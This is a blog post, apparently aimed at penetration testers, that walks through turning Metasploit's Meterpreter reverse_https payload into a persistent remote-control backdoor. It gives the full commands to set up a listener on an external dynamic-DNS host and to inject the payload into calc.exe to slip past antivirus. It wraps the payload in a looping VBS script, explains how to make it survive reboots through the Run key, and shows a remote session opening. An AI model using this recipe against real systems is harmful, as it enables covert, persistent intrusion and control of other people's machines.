Last updated at Wed, 27 Sep 2017 21:02:10 GMT
Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool.
First things first, grab the latest version of Metasploit (3.3.3) and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.
Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new reverse_https stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.
Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a dynamic DNS service (metasploit.kicks-ass.net), choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start msfconsole:
$ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https msf exploit(handler) > set LPORT 8443 msf exploit(handler) > set LHOST metasploit.kicks-ass.net msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j [*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/ [*] Starting the payload handler...
Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using WAVE, but any "site check" tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a "No site configured at this address" message.
After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a "template" and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:
$ msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R | msfencode -x calc.exe -t loop-vbs -o final.vbs [*] x86/shikata_ga_nai succeeded with size 408 (iteration=1) $ ls -la final.vbs -rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs
Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.
[*] A.B.C.D:53386 Request received for /AVkev... [*] A.B.C.D:53386 Staging connection for target Vkev received... [*] Patching Target ID Vkev into DLL [*] A.B.C.D:53387 Request received for /BVkev... [*] A.B.C.D:53387 Stage connection for target Vkev received... [*] Meterpreter session 2 opened (192.168.0.228:8443 -> A.B.C.D:53387) msf exploit(handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid Server username: metal\dev meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System 404 smss.exe 520 csrss.exe 584 wininit.exe 608 csrss.exe 648 services.exe 668 lsass.exe 676 lsm.exe 792 svchost.exe 852 nvvsvc.exe 892 svchost.exe [truncated]
For more information about how the reverse_https and reverse_tcp_dns stagers work, I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).